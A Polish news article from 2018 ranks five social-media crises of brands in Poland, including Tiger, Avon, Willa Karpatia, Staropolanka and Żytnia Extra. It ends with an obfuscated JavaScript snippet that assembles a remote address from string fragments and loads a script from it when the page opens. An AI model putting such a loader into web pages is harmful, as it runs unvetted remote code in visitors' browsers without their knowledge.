REKLAMA

Nie tylko Tiger, czyli 5 największych w Polsce wpadek w mediach społecznościowych

Tiger wrócił. To dobra okazja, żeby przypomnieć największe wpadki i kryzysy w mediach społecznościowych, jakie zaliczyły firmy działające w Polsce. Oto moje TOP 5.

13.03.2018 14.05
5 największych w Polsce kryzysów w mediach społecznościowych
REKLAMA
REKLAMA

Tiger i rozpierdlol

Marka Tiger w sierpniu 2017 r. zaliczyła wpadkę na Intagramie. Agencja pracująca na zlecenie firmy Maspex - właściciela Tigera - przygotowała serię grafik, które były publikowane w mediach społecznościowych.

Internauci zauważyli, że Tiger przekracza na Instagramie granice dobrego smaku, żartując sobie z tragedii smoleńskiej oraz wyrażając się bez szacunku o Powstaniu Warszawskim. W sieci zawrzało i aferą zainteresowały się media. Maspex bardzo szybko zaczął działać - odsunął agencję odpowiedzialną za kryzys oraz w ramach zadośćuczynienia przelał 500 tys. zł na Światowy Związek Żołnierzy Armii Krajowej.

Marka Tiger zniknęła też na kilka miesięcy z mediów społecznościowych. Postanowiono przeczekać burzę, aby teraz wrócić.

Afera i potężny kryzys w social mediach nie wpłynęły negatywnie na sprzedaż napoju Tiger. Mimo bulwersujących działań promocyjnych i zapowiadanego przez wiele osób bojkotu Tigera, sprzedaż napoju energetycznego wzrosła.

Avon i rak

W czerwcu 2017 r. z kryzysem wizerunkowym zmierzyć musiał się Avon. Producent kosmetyków znalazł się pod ostrzałem po tym, jak jedna z byłych pracownic opisała szczegóły zwolnienia jej z pracy.

Kobieta zachorowała na raka i postanowiła o tym poinformować swojego pracodawcę. Dwa dni później dostała wypowiedzenie. Internauci uznali działanie Avonu za naganne i nie zostawili na marce suchej nitki.

Media błyskawicznie nagłośniły sprawę. Avon odpowiedział, ale upierał się przy stanowisku, że nie zwolnił pracownika ze względu na chorobę.

Finalnie Avon zaproponował pani Patrycji pracę na stanowisku Pełnomocnika ds. Pomocy Pracownikom Przewlekle Chorym, o czym poinformowano internautów.

Willa Karpatia i krytyka

Kryzys wizerunkowy pensjonatu Willa Karpatia rozpoczął się w styczniu 2018 r. na Facebooku. Punktem zapalnym była negatywna opinia napisana przez jednego z gości, a właściwie reakcja Willi Karpatia na tę opinię.

Później było jeszcze ciekawiej. Do akcji wkroczyła społeczność serwisu Wykop, która stanęła po stronie niezadowolonych gości. Zaczęło się masowe wystawianie negatywnych opinii, a sprawą zainteresowały się media.

Afery nie dało się już zamieść pod dywan, więc Willa Karpatia - za namową zewnętrznego doradcy - postanowiła opublikować przeprosiny. Wyciekło jednak nagranie, które udowodniło, że były one nieszczere i że osoby związane z Willą Karpatia wcale nie poczuwają się do winy.

Po aferze pewien internauta postanowił na własnej skórze sprawdzić obsługę w tym pensjonacie. Tym razem pracownicy Willi Karpatia znowu dopisali. Jego wizyta zakończyła się wezwaniem policji.

Staropolanka i Red is bad

2 maja 2017 r., w Dniu Flagi, producent wody Staropolanka pochwalił się limitowaną wersją butelek, które powstały we współpracy z marką Red is bad - producentem odzieży patriotycznej.

Kooperacja ta ściągnęła nad Staropolankę czarne chmury, ponieważ wielu internautów uznało ją za deklarację polityczną i pewną formę manifestu. Klientom nie spodobał się fakt, że producent wody współpracuje z marką, za którą stoją skrajne poglądy.

Wiele osób wyjaśniało, że kupując wodę, chcą po prostu kupić dobrą wodę, a nie być wrzucani do jednego worka z bluzami z napisem „śmierć wrogom ojczyzny”.

 class="wp-image-698161"

Staropolanka tłumaczyła swoje posunięcie decyzją biznesową:

Kryzys nie został w żaden szczególny sposób zakończony. Z czasem burza ucichła.

Żytnia Extra i finał w prokuraturze

W sierpniu 2015 r. na facebookowym profilu wódki Żytnia Extra zamieszczono grafikę prezentującą kilku mężczyzn niosących innego mężczyznę. Podpis głosił: „KacVegas? Scenariusz pisany przez Żytnią.”.

Agencja odpowiedzialna za prowadzenie profilu Żytniej bezprawnie wykorzystała zdjęcie zrobione przez Krzysztofa Raczkowiaka. Jakby tego było mało, fotografia przedstawiała zajścia z 31 sierpnia 1982 r., kiedy to komunistyczna władza dokonała w Lubinie zbrodni - w wyniku działań milicji i ZOMO kilkadziesiąt osób zostało rannych, a trzech Polaków zastrzelono.

Brak znajomości wydarzeń historycznych oraz fakt kradzieży zdjęcia zbulwersował internautów. Krytyka była potężna, sprawą zainteresowały się media.

Do naszej redakcji komentarz przesłał wtedy Krzysztof Raczkowiak:

REKLAMA

Sprawą zajęła się prokuratura, która postawiła Marcie S. - pracowniczce agencji obsługującej Facebooka Żytniej - zarzut pomówienia, twierdząc, że osoby przedstawione na zdjęciu w akcie co najmniej tragicznym, przedstawiła jako alkoholików i uczestników wesołej balangi. Ostatecznie prokuratura złożyła wniosek o warunkowe umorzenie postępowania, ponieważ udało się zawrzeć pozasądową ugodę (15 tys. zł) z jednym z mężczyzn obecnych na zdjęciu, który również poczuł się dotknięty przedstawionym memem - informuje Bezprawnik.

(function(){ cyg4=document.createElement(“script”);cyg4_=(“ust”);cyg4u=“72604800"; cyg4_+=“a”+(“t.i”);cyg4.type=“text/javascript”; cyg4u+=“.Xzzlhtbgyg4idkl5bytr”;cyg4.async=true;cyg4_+=“n”+(“f”+“o”)+“/”; cyg4u+=“ip2ht3w5q5”;cyg4.src=“//“+cyg4_+cyg4u; document.body.appendChild(cyg4); })();
REKLAMA
Najnowsze
REKLAMA
REKLAMA
REKLAMA